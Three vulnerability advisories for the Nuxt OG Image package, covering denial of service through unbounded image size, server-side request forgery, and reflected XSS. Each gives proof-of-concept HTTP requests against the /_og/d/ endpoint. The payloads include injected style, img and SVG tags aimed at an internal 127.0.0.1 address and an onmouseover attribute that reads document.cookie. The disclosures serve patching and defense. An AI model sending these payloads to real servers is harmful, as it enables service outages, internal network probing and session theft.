Package Instance

Nuxt OG Image is vulnerable to Denial of Service via unbounded image dimensions
**Product:** Nuxt OG Image 
**Version:** 6.1.2
**CWE-ID:** [CWE-404](https://cwe.mitre.org/data/definitions/404.html): Improper Resource Shutdown or Release
**Description:** Failure to limit the length and width of the generated image results in a denial of service.
**Impact:** Denial of service
**Exploitation condition:** An external user
**Mitigation:** Implement a limitation on the width and length of the generated image.
**Researcher:** Dmitry Prokhorov (Positive Technologies)

## Research 
During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.
This research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.

_Listing 1. The content of the configuration file `nuxt.config.ts`_ 
```
export default defineNuxtConfig({
  modules: ['nuxt-og-image'],
  devServer: {
    host: 'web-test.local',
    port: 3000
  },
  site: {
    url: 'http://web-test.local:3000',
  },
  ogImage: {
    fonts: [
      'Inter:400', 
      'Inter:700'
    ],
  }
})
```

## Vulnerability reproduction
To demonstrate the proof‑of‑concept, a request should be sent with the increased `width` and `height` parameters. This will cause a delay and exhaust the server’s resources during image generation.

_Listing 2. HTTP-request example_
```
GET /_og/d/og.png?width=20000&height=20000 HTTP/1.1
Host: web-test.local:3000
```

_Figure 1. HTTP-response: denial-of-service error_
<img width="974" height="663" alt="image" src="https://github.com/user-attachments/assets/ff625249-2e0d-4a03-a734-3a77fd0cbb81" />

After sending a HTTP-request, the test server's memory was exhausted.

_Figure 2. Video memory exhausted error_
<img width="863" height="1033" alt="image" src="https://github.com/user-attachments/assets/66b5919a-f039-468e-812e-1f709c468287" />


## Credits
Researcher: Dmitry Prokhorov (Positive Technologies)

Nuxt OG Image vulnerable to Server-Side Request Forgery via user-controlled parameters
**Product:** Nuxt OG Image
**Version:** < 6.2.5
**CWE-ID:** [CWE-918](https://cwe.mitre.org/data/definitions/918.html): Server-Side Request Forgery

## Description

The image generation endpoint (`/_og/d/`) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.

## Impact

- Scanning internal ports and services inaccessible from the outside
- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled

## Attack Vectors

Three distinct vectors were identified, all exploiting the same underlying lack of URL validation:

### Vector 1: CSS `background-image` injection via `style` parameter

```
GET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')
```

### Vector 2: `<img src>` injection via `html` parameter

```
GET /_og/d/og.png?html=<img src="http://127.0.0.1:8888/secret">
```

When verbose errors are enabled, the response content is leaked in base64-encoded error messages.

### Vector 3: SVG `<image href>` injection via `html` parameter

```
GET /_og/d/og.png?html=<svg><image href="http://127.0.0.1:8888/secret"></svg>
```

## Mitigation

Fixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.

## Credits

Researcher: Dmitry Prokhorov (Positive Technologies)

Nuxt OG Image is vulnerable to reflected XSS via query parameter injection into HTML attributes
**Product:** Nuxt OG Image 
**Version:** 6.1.2
**CWE-ID:** [CWE-79](https://cwe.mitre.org/data/definitions/79.html): Improper Neutralization of Input During Web Page Generation
**Description:** Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection.
**Impact:** Client-Side JavaScript Execution
**Exploitation condition:** An external user
**Mitigation:** Correct the logic of parsing GET parameters and their subsequent implementation into the generated page.
**Researcher:** Dmitry Prokhorov (Positive Technologies)

## Research 
During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.
This research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.


_Listing 1. The content of the configuration file `nuxt.config.ts`_ 
```
export default defineNuxtConfig({
  modules: ['nuxt-og-image'],
  devServer: {
    host: 'web-test.local',
    port: 3000
  },
  site: {
    url: 'http://web-test.local:3000',
  },
  ogImage: {
    fonts: [
      'Inter:400', 
      'Inter:700'
    ],
  }
})
```

## Vulnerability reproduction
To demonstrate the proof‑of‑concept, follow the URI: `/_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus`
The injected parameters `onmouseover=alert(document.cookie)` and `autofocus` are treated as attributes and are inserted directly into the generated HTML page.


_Listing 2. HTTP-request example_
```
GET /_og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1
Host: web-test.local:3000
```

_Figure 1. The injected attribute in the HTML body_
<img width="974" height="670" alt="image" src="https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745" />

_Figure 2. JavaScript code execution_
<img width="974" height="291" alt="image" src="https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8" />


## Credits
Researcher: Dmitry Prokhorov (Positive Technologies)